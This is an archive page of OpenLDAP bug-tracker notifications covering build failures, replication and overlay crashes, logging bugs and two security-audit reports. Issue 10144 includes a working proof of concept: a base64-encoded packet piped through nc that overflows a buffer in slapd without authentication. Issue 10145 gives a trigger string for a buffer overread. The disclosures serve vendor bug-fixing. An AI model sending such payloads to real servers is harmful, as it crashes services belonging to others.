- openldap-bugs - openldap.org

[Issue 10143] New: only use logfile in server mode
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10143 Issue ID: 10143 Summary: only use logfile in server mode Product: OpenLDAP Version: 2.6.6 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: hyc(a)openldap.org Target Milestone: --- Only slapd should be using the logfile, not the slap* tools. -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10080] New: refreshAndPersist synchronization problem with glue + rwm
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10080 Issue ID: 10080 Summary: refreshAndPersist synchronization problem with glue + rwm Product: OpenLDAP Version: 2.6.2 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: homma(a)allworks.co.jp Target Milestone: --- Created attachment 972 --> https://bugs.openldap.org/attachment.cgi?id=972&action=edit Stack trace of segfault I have an openldap 2.6.2 server "ldap1" with the following DIT: dc=example,dc=com (back-mdb) ou=users ou=local cn=admin cn=sync ... ou=remote (back-ldap -> ldaps://dc1.example.com) ... Local user entries are created under subtree "ou=local,ou=users,dc=example,dc=com", and the subtree "ou=remote,ou=users,dc=example,dc=com" is a proxy to an Active Directory server "dc1.example.com" (subtree "ou=users,dc=ad,dc=example,dc=com"). The concrete configuration is as follows: ---------------- dn: olcDatabase={2}ldap,cn=config objectClass: olcDatabaseConfig objectClass: olcLDAPConfig olcDatabase: {2}ldap olcSuffix: ou=remote,ou=users,dc=example,dc=com olcSubordinate: TRUE olcRootDN: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth olcDbURI: ldaps://dc1.example.com olcDbIDAssertBind: bindmethod=simple binddn="cn=aduser,ou=users,dc=ad,dc=example,dc=com" credentials=secret tls_reqcert=demand mode=none olcDbIDAssertAuthzFrom: {0}dn.exact:gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth olcDbIDAssertAuthzFrom: {1}dn.exact:cn=admin,ou=local,ou=users,dc=example,dc=com dn: olcOverlay={0}rwm,olcDatabase={2}ldap,cn=config objectClass: olcOverlayConfig objectClass: olcRwmConfig olcOverlay: {0}rwm olcRwmRewrite: {0}rwm-suffixmassage "ou=users,dc=ad,dc=example,dc=com" olcRwmMap: {0}objectclass inetOrgPerson organizationalPerson olcRwmMap: {1}objectclass posixAccount user olcRwmMap: {2}attribute uid sAMAccountName olcRwmMap: {3}attribute homeDirectory unixHomeDirectory olcRwmMap: {4}attribute ou * olcRwmMap: {5}attribute cn * olcRwmMap: {6}attribute sn * olcRwmMap: {7}attribute givenName * olcRwmMap: {8}attribute mail * olcRwmMap: {9}attribute uidNumber * olcRwmMap: {10}attribute gidNumber * olcRwmMap: {11}attribute * dn: olcDatabase={3}mdb,cn=config objectClass: olcDatabaseConfig objectClass: olcMdbConfig olcDatabase: {3}mdb olcDbDirectory: /var/lib/ldap olcSuffix: dc=example,dc=com olcRootDN: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth olcAccess: {0}to * by dn.exact="cn=admin,ou=local,ou=users,dc=example,dc=com" write by dn.exact="cn=sync,ou=local,ou=users,dc=example,dc=com" write by * break olcAccess: {1}to attrs=userPassword by anonymous auth by self write by * none olcAccess: {2}to * by * read olcDbIndex: objectClass eq,pres olcDbIndex: ou,cn,mail,surname,givenname eq,pres,sub ---------------- So far, so good. A subtree search on "ou=users,dc=example,dc=com" returns both local and remote users. But when I create the second server "ldap2" with similar configuration and configure refreshAndPersist replication, I run into a problem. (1) When I configure on "ldap1" server, ---------------- dn: olcOverlay={0}syncprov,olcDatabase={3}mdb,cn=config objectClass: olcOverlayConfig objectClass: olcSyncProvConfig olcOverlay: {0}syncprov ---------------- and on "ldap2" server, ---------------- dn: olcDatabase={3}mdb,cn=config changeType: modify replace: olcSyncrepl olcSyncrepl: {0}rid=301 provider="ldap://ldap1/" bindmethod=simple binddn="cn=sync,ou=local,ou=users,dc=example,dc=com" credentials=secret searchbase="dc=example,dc=com" type=refreshAndPersist retry="5 12 60 +" timeout=1 ---------------- the initial refresh stage fails. (a) Whith the above configuration, the refresh failes with "(48) Inappropriate authentication", because the bind DN "cn=sync,ou=local,ou=users,dc=example,dc=com" does not have access to the subordinate database. (b) When I add "cn=sync,ou=local,ou=users,dc=example,dc=com" to the ID assertion list on "ldap1" server, ---------------- dn: olcDatabase={2}ldap,cn=config changeType: modify add: olcDbIDAssertAuthzFrom olcDbIDAssertAuthzFrom: {2}dn.exact:cn=sync,ou=local,ou=users,dc=example,dc=com ---------------- the refresh fails with "(12) Critical extension is unavailable", because Active Directory does not support Sync Request Control. (c) Even if the remote server supports Sync Request Control, the refresh fails with the message "server sent multiple refreshDone messages? Ending session". The refreshDone messages are sent twice, one for the sperior databese and the other for the subordinate database. (d) If I delete olcSubordinate attribute and restart slapd on "ldap1" server, ---------------- dn: olcDatabase={2}ldap,cn=config changeType: modify delete: olcSubordinate ---------------- then the refresh stage completes successfully. Once the persistent session is established, I can add olcSubordinate attribute again. ---------------- dn: olcDatabase={2}ldap,cn=config changeType: modify add: olcSubordinate olcSubordinate: TRUE ---------------- When I modify entries in the subordinate database on "ldap1" server, no change notification is sent to "ldap2" server. This is the desired behavior, but if I restart slapd on "ldap1" server, the refresh starts failing again. (2) When I configure the glue overlay explicitly before the syncprov overlay, as described in "man slapd-config", ---------------- dn: olcOverlay={0}glue,olcDatabase={3}mdb,cn=config objectClass: olcOverlayConfig objectClass: olcConfig olcOverlay: {0}glue dn: olcOverlay={1}syncprov,olcDatabase={3}mdb,cn=config objectClass: olcOverlayConfig objectClass: olcSyncProvConfig olcOverlay: {1}syncprov ---------------- the refresh stage completes successfully without attempting to search the subordinate database. This is fine because I do not need to synchronize the subordinate database between "ldap1" and "ldap2" servers. However, when I modify an entry in the subordinate database on "ldap1" server, slapd crashes by segmentation fault. See the attached file for stack trace. After some research, I found that the cause of the crash is as follows: In syncprov_matchops(), it attempts to get the modified entry with DN = op->o_req_ndn. But since op->o_req_ndn has been rewritten in the rmw overlay, glue_back_select() incorrectly selects the mdb backend, which should be the ldap backend. At this point, op->o_bd->be_private holds a value of type ldapinfo_t, but mdb_entry_get() tries to interpret it as type struct mdb_info, causing a segfault. In summary, the problem is: When I configure refreshAndPersist synchronization for a database with a subordinate ldap backend using DN rewriting, (1) The subordinate database cannot be excluded from both refresh and persistent stage of the synchronization: When the glue overlay is not explicitly configured: - In the refresh stage, the subordinate database is included in the search. - In the persist stage, the subordinate database is excluded from the synchronization. When the glue overlay is explicitly configured before the syncprov overlay: - In the refresh stage, the subordinate database is excluded from the search. - In the persist stage, the subordinate database is included in the synchronization. This seems to be inconsistent. (2) If the subordinate database is included in the refresh stage, the refresh fails for one of the following reasons: - the syncrepl user is not allowed to access the subordinate database - the remote server does not support Sync Request Control - multiple refreshDone messages are returned The refresh stage completes successfully if olcSubordinate attribute is deleted from the subordinate database. olcSubordinate attribute can be added again once the persistent session is established, but the refresh stage starts failing again if slapd is restarted. (3) If the subordinate database is included in the persist stage, modifying entries in the subordinate database causes slapd to crash. -- You are receiving this mail because: You are on the CC list for the issue.

1 23

[Issue 10098] New: contrib modules don't build on Windows
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10098 Issue ID: 10098 Summary: contrib modules don't build on Windows Product: OpenLDAP Version: 2.6.6 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: build Assignee: bugs(a)openldap.org Reporter: hyc(a)openldap.org Target Milestone: --- Need a couple tweaks to the Makefiles. -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10130] New: Several callers of getpassphrase() ignore NULL returns
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10130 Issue ID: 10130 Summary: Several callers of getpassphrase() ignore NULL returns Product: OpenLDAP Version: 2.6.6 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: stacey.marshall(a)gmail.com Target Milestone: --- getpassphrase(3c) and lutil_getpass() can return NULL to signify EOF, and in the case of the former for an interrupt or an error. Several callers fail to check for NULL before calling other functions which may then cause other issues such as segmentation fault. A patch in progress treats NULL as EOF and provides an early exit. ``` $ git status --short -uno M clients/tools/common.c M clients/tools/ldappasswd.c M clients/tools/ldapvc.c M servers/slapd/slappasswd.c M tests/progs/slapd-tester.c ``` -- You are receiving this mail because: You are on the CC list for the issue.

1 12

[Issue 10129] New: lloadd.conf(5) manpage incorrect
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10129 Issue ID: 10129 Summary: lloadd.conf(5) manpage incorrect Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: documentation Assignee: bugs(a)openldap.org Reporter: ondra(a)mistotebe.net Target Milestone: --- keepalive, tcp-user-timeout and tls_* are available in the bindconf section but the manpage errorneously lists them as configurable on backend-server. -- You are receiving this mail because: You are on the CC list for the issue.

1 4

[Issue 10144] New: Buffer overwrite in ldap_dn2bv_x
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10144 Issue ID: 10144 Summary: Buffer overwrite in ldap_dn2bv_x Product: OpenLDAP Version: 2.6.6 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: libraries Assignee: bugs(a)openldap.org Reporter: joshua(a)joshua.hu Target Milestone: --- Created attachment 995 --> https://bugs.openldap.org/attachment.cgi?id=995&action=edit ldap.c Hi there, While performing a security audit of openldap, I've discovered a buffer overwrite in the ldap_dn2bv_x function of libldap which can be triggered via an unauthenticated packet to slapd. The issue is specifically in this part oft he code: 3069 /* 3070 * trim the last ',' (the allocated memory 3071 * is one byte longer than required) 3072 */ 3073 bv->bv_len = len - 1; 3074 bv->bv_val[ bv->bv_len ] = '\0'; 'len' may be 0, therefore bv->bv_len becomes (unsigned long)-1 == 18446744073709551615, causing a one-byte buffer overwrite in bv->bv_len. It may be len when rdn2str returns 0: 3055 for ( l = 0, iRDN = 0; dn[ iRDN ]; iRDN++ ) { 3056 ber_len_t rdnl; 3057 3058 if ( rdn2str( dn[ iRDN ], &bv->bv_val[ l ], flags, 3059 &rdnl, sv2s ) ) { 3060 LDAP_FREEX( bv->bv_val, ctx ); 3061 bv->bv_val = NULL; 3062 goto return_results; 3063 } 3064 l += rdnl; 3065 } which it may do if 2571 static int 2572 rdn2str( LDAPRDN rdn, char *str, unsigned flags, ber_len_t *len, 2573 int ( *s2s ) ( struct berval *v, char * s, unsigned f, ber_len_t *l ) ) 2574 { 2575 int iAVA; 2576 ber_len_t l = 0; 2577 2578 for ( iAVA = 0; rdn[ iAVA ]; iAVA++ ) { [...] 2606 *len = l; 2607 2608 return( 0 ); 2609 } rdn[0] (i.e. dn[0][0]) is zero. There is already a check in ldap_dn2bv_x to ensure that there is not a null distinguished name, but no check for a null relative distinguished name: 3021 /* 3022 * a null dn means an empty dn string 3023 * FIXME: better raise an error? 3024 */ 3025 if ( dn == NULL || dn[0] == NULL ) { 3026 bv->bv_val = LDAP_STRDUPX( "", ctx ); 3027 return( LDAP_SUCCESS ); 3028 } This can be reproduced using the API and compiling with address sanitizer: clang -g -O0 -fsanitize=address -o ldap ldap.c -I/usr/local/include -L/usr/local/lib -Wl,-rpath=/usr/local/lib -lldap which crashes: ================================================================= ==2685861==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000004c0f at pc 0x7ffff7ecae9d bp 0x7fffffff7390 sp 0x7fffffff7388 WRITE of size 1 at 0x602000004c0f thread T0 #0 0x7ffff7ecae9c in ldap_dn2bv_x /home/jrogers/openldap-clean/libraries/libldap/getdn.c:3074:28 #1 0x7ffff7f30135 in ldap_X509dn2bv /home/jrogers/openldap-clean/libraries/libldap/tls2.c:1686:7 #2 0x55555563000f in main /home/jrogers/ldap2.c:19:14 #3 0x7ffff7b25d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 203de0ae33b53fee1578b117cb4123e85d0534f0) #4 0x7ffff7b25e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: 203de0ae33b53fee1578b117cb4123e85d0534f0) #5 0x555555572324 in _start (/home/jrogers/test+0x1e324) (BuildId: 5207fff637c8f2edc46784bf828dc09fddd34d85) 0x602000004c0f is located 1 bytes to the left of 1-byte region [0x602000004c10,0x602000004c11) allocated by thread T0 here: #0 0x5555555f516e in malloc (/home/jrogers/test+0xa116e) (BuildId: 5207fff637c8f2edc46784bf828dc09fddd34d85) #1 0x7ffff7ae8303 in ber_memalloc_x /home/jrogers/openldap-clean/libraries/liblber/memory.c:228:9 #2 0x7ffff7eca968 in ldap_dn2bv_x /home/jrogers/openldap-clean/libraries/libldap/getdn.c:3050:23 #3 0x7ffff7f30135 in ldap_X509dn2bv /home/jrogers/openldap-clean/libraries/libldap/tls2.c:1686:7 #4 0x55555563000f in main /home/jrogers/ldap2.c:19:14 #5 0x7ffff7b25d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 203de0ae33b53fee1578b117cb4123e85d0534f0) Alternatively you can send the following to a running slapd server: printf "MIIB5AIEMDAwMEqCATBPPTAwMDAwMDAwMDAwMDAwMDDvvrLvvrLvvrLvvrLvvrLvvrLvp7LvvrLvtrLvvrLvvrLvvrLvvrLvvrLvvrLvvrIsCgoKMi41LjQuMzk9MGswMDAGMDAwMDAwMAYxATEwMTAYGDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA4XDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAMDMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA=" | base64 -d | nc localhost 389 which will exhibit the same behavior: ==1673381==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200004c14f at pc 0x7ffff7ec0e9d bp 0x7fffb40c6e70 sp 0x7fffb40c6e68 WRITE of size 1 at 0x60200004c14f thread T2 [Detaching after fork from child process 3777333] #0 0x7ffff7ec0e9c in ldap_dn2bv_x /home/jrogers/openldap-clean/libraries/libldap/getdn.c:3074:28 #1 0x7ffff7f26135 in ldap_X509dn2bv /home/jrogers/openldap-clean/libraries/libldap/tls2.c:1686:7 #2 0x555555820765 in dnX509normalize (/usr/local/libexec/slapd+0x2cc765) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #3 0x5555558e55a1 (/usr/local/libexec/slapd+0x3915a1) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #4 0x555555819d06 (/usr/local/libexec/slapd+0x2c5d06) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #5 0x5555558187b8 (/usr/local/libexec/slapd+0x2c47b8) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #6 0x55555581c6de in dnPrettyNormal (/usr/local/libexec/slapd+0x2c86de) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #7 0x555555835c95 in do_delete (/usr/local/libexec/slapd+0x2e1c95) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #8 0x5555557a8ef5 (/usr/local/libexec/slapd+0x254ef5) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #9 0x5555557a21f9 (/usr/local/libexec/slapd+0x24e1f9) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #10 0x7ffff7f592c4 in ldap_int_thread_pool_wrapper /home/jrogers/openldap-clean/libraries/libldap/tpool.c:1059:3 #11 0x7ffff785eac2 (/lib/x86_64-linux-gnu/libc.so.6+0x94ac2) (BuildId: 203de0ae33b53fee1578b117cb4123e85d0534f0) #12 0x7ffff78f065f (/lib/x86_64-linux-gnu/libc.so.6+0x12665f) (BuildId: 203de0ae33b53fee1578b117cb4123e85d0534f0) -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10117] New: missing function declarations in slap-config.h
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10117 Issue ID: 10117 Summary: missing function declarations in slap-config.h Product: OpenLDAP Version: 2.6.6 Hardware: All OS: Windows Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: build Assignee: bugs(a)openldap.org Reporter: mhardin(a)symas.com Target Milestone: --- Functions exported from slap-config.h need to be properly declared for Windows -- You are receiving this mail because: You are on the CC list for the issue.

1 6

[Issue 10074] New: lloadd: build broken with more recent versions of LLVM
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10074 Issue ID: 10074 Summary: lloadd: build broken with more recent versions of LLVM Product: OpenLDAP Version: 2.6.4 Hardware: All OS: FreeBSD Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: lloadd Assignee: bugs(a)openldap.org Reporter: delphij(a)freebsd.org Target Milestone: --- There are two issues preventing lloadd from building with more recent versions of LLVM. These are discovered on FreeBSD but may affect other operating systems too. The first one is that ldap_pvt_thread_self is returning pthread_t (which is a pointer of struct pthread) on FreeBSD, but evthread_set_id_callback was expecting unsigned long. A possible solution would be to create a wrapper for the function, like: --- servers/lloadd/libevent_support.c.orig 2023-02-08 18:53:35 UTC +++ servers/lloadd/libevent_support.c @@ -131,6 +131,20 @@ lload_libevent_cond_timedwait( return ldap_pvt_thread_cond_wait( cond, mutex ); } +/* + * libevent2 expects the thread id has a type of unsigned long. + */ +static unsigned long +lload_libevent_thread_self(void) +{ + unsigned long retval; + static_assert(sizeof(ldap_pvt_thread_t) <= sizeof(unsigned long), + "ldap_pvt_thread_t has to be smaller or equal to unsigned long"); + + retval = (unsigned long)ldap_pvt_thread_self(); + return (retval); +} + int lload_libevent_init( void ) { @@ -152,7 +166,7 @@ lload_libevent_init( void ) evthread_set_lock_callbacks( &cbs ); evthread_set_condition_callbacks( &cond_cbs ); - evthread_set_id_callback( ldap_pvt_thread_self ); + evthread_set_id_callback( lload_libevent_thread_self ); return 0; } Or, maybe the code should just use evthread_use_pthreads() instead? (It's not very clear to me why we have the ldap_pvt_thread_self wrapper). Another issue is that module_init.c is trying to assign config_generic_wrapper to bi->bi_config: module_init.c:154:19: error: incompatible function pointer types assigning to 'BI_config *' (aka 'int (*)(struct BackendInfo *, const char *, int, int, char **)') from 'int (Backend *, const char *, int, int, char **)' (aka 'int (struct BackendDB *, const char *, int, int, char **)') [-Wincompatible-function-pointer-types] bi->bi_config = config_generic_wrapper; ^ ~~~~~~~~~~~~~~~~~~~~~~ For other backends, it's used as bi_db_config. It seems that I can set bi_config to NULL and bi_db_config to config_generic_wrapper, but it's not clear to me what the original intention was... -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10025] New: Add option to disable filtered searches for memberURL groups
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10025 Issue ID: 10025 Summary: Add option to disable filtered searches for memberURL groups Product: OpenLDAP Version: 2.5.14 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: subbarao(a)computer.org Target Milestone: --- One of the changes from 2.4 to 2.5 is that dynlist groups are now returned with (member=memberDN) searches. This is potentially appealing, but even with the ITS#9929 performance improvements, given the number of dynlist groups we have, search times are significantly impacted. We'd like to be able to cleanly disable this feature and exclude dynlist groups from (member=memberDN) filter consideration. The only way I've found so far is to patch the dynlist code itself. What I'm currently doing is adding a continue statement right above this line in dynlist_search(): https://git.openldap.org/openldap/openldap/-/blob/OPENLDAP_REL_ENG_2_5_14/s… That way the member searches are excluded, but dynlists otherwise work as expected. Here is the dynlist config we're using, just basic support for groupOfURLs/memberURL: overlay dynlist dynlist-attrset groupOfURLs memberURL member I'd like to request a configurable option to exclude dynlists from (member=memberDN) searches. -- You are receiving this mail because: You are on the CC list for the issue.

1 10

[Issue 10083] New: lload: Receiving a NoD while connection is closing already corrupts c_state
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10083 Issue ID: 10083 Summary: lload: Receiving a NoD while connection is closing already corrupts c_state Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: lloadd Assignee: bugs(a)openldap.org Reporter: ondra(a)mistotebe.net Target Milestone: --- If the backend closes a connection with a NoD, two things happen: we won't be able to write to the socket and we receive the NoD message. lloadd might encounter those in either order, but handle_unsolicited() doesn't expect to be the second one to come in and happily overrides c_state, even if c_unlink() has been called by the write side already. upstream_destroy() eventually discovers the inconsistent state (LLOAD_C_CLOSING vs. LLOAD_C_DYING) and assert()s. A fix to handle_unsolicited() is coming. -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10091] New: slapd segfaults when the dynlist overlay is applied on the frontend db (with `<memberOf-ad>@<static-oc>` parameters)
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10091 Issue ID: 10091 Summary: slapd segfaults when the dynlist overlay is applied on the frontend db (with `<memberOf-ad>@<static-oc>` parameters) Product: OpenLDAP Version: 2.6.6 Hardware: x86_64 OS: Linux Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: philip.schildkamp(a)uni-koeln.de Target Milestone: --- Created attachment 974 --> https://bugs.openldap.org/attachment.cgi?id=974&action=edit Full stacktrace of the segfault Dear OpenLDAP Development-Team, first of all, thank You for Your continued efforts to provide this great software! I've run into a segfault when trying to apply the dynlist overlay to the frontend db. As I'm running Alpine Linux (based on musl libc), I've verified that this segfault also occurs under GLIBC-based distros. Furthermore, I've trimmed my config down to the bare minimum to provide a replicable setting. This segfault only occurs when I'm trying to use the full `dynlist-attrset` configuration (including the `+<memberOf-ad>@<static-oc>` parameters). If I only supply the `<group-oc> <URL-ad> <member-ad>` parts of the configruation, the segfault does not occur. And the segfault does not happen on startup, but when connecting to the running `slapd` instance. The version I'm running: > @(#) $OpenLDAP: slapd 2.6.6 (Aug 7 2023 12:57:03) $ My `slapd.conf` (the same segfault occures through a `cn=config` setup): > moduleload dynlist > > include /etc/openldap/schema/core.schema > > overlay dynlist > dynlist-attrset labeledURIObject labeledURI member+memberOf@groupOfNames > > database ldif > directory /tmp > suffix "dc=example,dc=com" I've attached a complete stacktrace of the segfault, which is traced back to `dynlist.c:2057`. If I can provide any other means of debugging (e.g. a coredump) or help in locating the root of this issue, I'd be happy to! If this issue is known or the dynlist overlay does not support this functionality on the frontend db, I'm sorry for the noise; but as far as I've been able to verify, there is no mention of such a limitation within the `slapo-dynlist` manpage (which does mention the possibility to apply the dynlist overlay to the frontend db), nor did I find an issue regarding exactly this error. Again, thank You for Your efforts and kind regards, Philip Schildkamp -- You are receiving this mail because: You are on the CC list for the issue.

1 8

[Issue 10070] New: Allow running when /etc/resolv.conf is missing
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10070 Issue ID: 10070 Summary: Allow running when /etc/resolv.conf is missing Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: lloadd Assignee: bugs(a)openldap.org Reporter: ondra(a)mistotebe.net Target Milestone: --- A resolv.conf file might be missing, usually that means that no name services are available (often in test environments) or in some container environments where the resolver is assumed to run on localhost. We should adopt the proposal discussed in https://github.com/libevent/libevent/issues/1155#issuecomment-918826471 which lets us honour the file if it exists but keep the libevent default, allowing to deal with both cases, no name resolution is needed (all URIs are numeric) and the implicit local resolver. -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10089] New: regex that does not pass `regtest()` causes the entire process to exit
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10089 Issue ID: 10089 Summary: regex that does not pass `regtest()` causes the entire process to exit Product: OpenLDAP Version: 2.6.6 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: gburd(a)symas.com Target Milestone: --- There are 6 locations in `aclparse.c` in the function `parse_acl()` that call `regtest()` validating a regex expression before its use. Currently, when `regtest()` finds an issue it calls `exit()` and the process must be restarted. It seems that a better approach would be to allow the failures to be processed by the caller where the severity might be better understood. In some (most?) cases it's likely just fine for the process to continue after some information about the issue is logged and resources are released properly. https://git.openldap.org/openldap/openldap/-/blob/master/servers/slapd/aclp… -- You are receiving this mail because: You are on the CC list for the issue.

1 11

[Issue 10105] New: slapd logging fails to add newline with large search filters
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10105 Issue ID: 10105 Summary: slapd logging fails to add newline with large search filters Product: OpenLDAP Version: 2.6.6 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: quanah(a)openldap.org Target Milestone: --- When using slapd logging rather than syslog, it fails to write a newline if the search filter is extremely long. Found this when examining the logs where the search filter has 500 users in it, in the form of: "(&(objectClass=userobject)(|(uid=abc)(uid=xyz)....)" In the slapd log, the filter gets truncated and the next log line is appended, so we end up with ...(uid=joe.hSep 27 18:21:09 hostname slapd[6373]: conn=1234 op=123 SEARCH RESULT tag=101 err=0 qtime=0.xxxx etime=0.xxx nentries=500 text= -- You are receiving this mail because: You are on the CC list for the issue.

1 9

[Issue 10145] New: ldap_url_parse_ext buffer overread
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10145 Issue ID: 10145 Summary: ldap_url_parse_ext buffer overread Product: OpenLDAP Version: 2.6.6 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: libraries Assignee: bugs(a)openldap.org Reporter: joshua(a)joshua.hu Target Milestone: --- Hi there, There is an easy-to-trigger buffer overread in the function ldap_url_parse_ext in libraries/libldap/url.c: 850 url_tmp = skip_url_prefix( url_in, &enclosed, &scheme ); 851 852 if ( url_tmp == NULL ) { 853 return LDAP_URL_ERR_BADSCHEME; 854 } 855 856 assert( scheme != NULL ); 857 858 proto = ldap_pvt_url_scheme2proto( scheme ); 859 if ( proto == -1 ) { 860 return LDAP_URL_ERR_BADSCHEME; 861 } 862 863 /* make working copy of the remainder of the URL */ 864 url = LDAP_STRDUP( url_tmp ); 865 if ( url == NULL ) { 866 return LDAP_URL_ERR_MEM; 867 } 868 869 if ( enclosed ) { 870 p = &url[strlen(url)-1]; 871 872 if( *p != '>' ) { 873 LDAP_FREE( url ); 874 return LDAP_URL_ERR_BADENCLOSURE; 875 } 876 877 *p = '\0'; 878 } The function skip_url_prefix, presented with a url_in that is exactly '<ldap://', will work towards line 870, which will set: p = &url[strlen(0)-1]; This causes a one-byte buffer overread. This issue can be triggered by calling ldap_url_parse_ext with a url of exactly "<ldap://". This issue can be triggered both through the library, and slapd. ================================================================= ==1986888==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000004c2f at pc 0x7ffff7eed3c2 bp 0x7fffffffde10 sp 0x7fffffffde08 READ of size 1 at 0x602000004c2f thread T0 #0 0x7ffff7eed3c1 in ldap_url_parse_ext /home/jrogers/openldap-clean/libraries/libldap/url.c:872:7 -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10124] New: olcTLSDHParamFile causes slapd general protection fault error:0 in libcrypto.so.3.0.7
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10124 Issue ID: 10124 Summary: olcTLSDHParamFile causes slapd general protection fault error:0 in libcrypto.so.3.0.7 Product: OpenLDAP Version: 2.5.16 Hardware: All OS: Linux Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: r.g.van.der.kleij(a)umail.leidenuniv.nl Target Milestone: --- I am not sure this is even an openldap bug, but just in case it is I report it here. I build openldap 2.5 from source on Rocky linux 9.2. The previous build version 2.5.14 would run fine, but 2.5.16 would crash at startup with error: kernel: traps: slapd[3909] general protection fault ip:7fea2f19f2d2 sp:7fff76b17c00 error:0 in libcrypto.so.3.0.7[7fea2f0ad000+25b000] Since even in full debug nothing was logged apart from this error I started eliminating configuration items, ending up with only the config below. A fresh slapd 2.5.14 would start with only this ldif slapadded, 2.5.16 would not on the same server. Leaving out olcTLSDHParamFile would cause everything to work again. I tried regenerating a fresh 2048 bit dhparam file instead of the 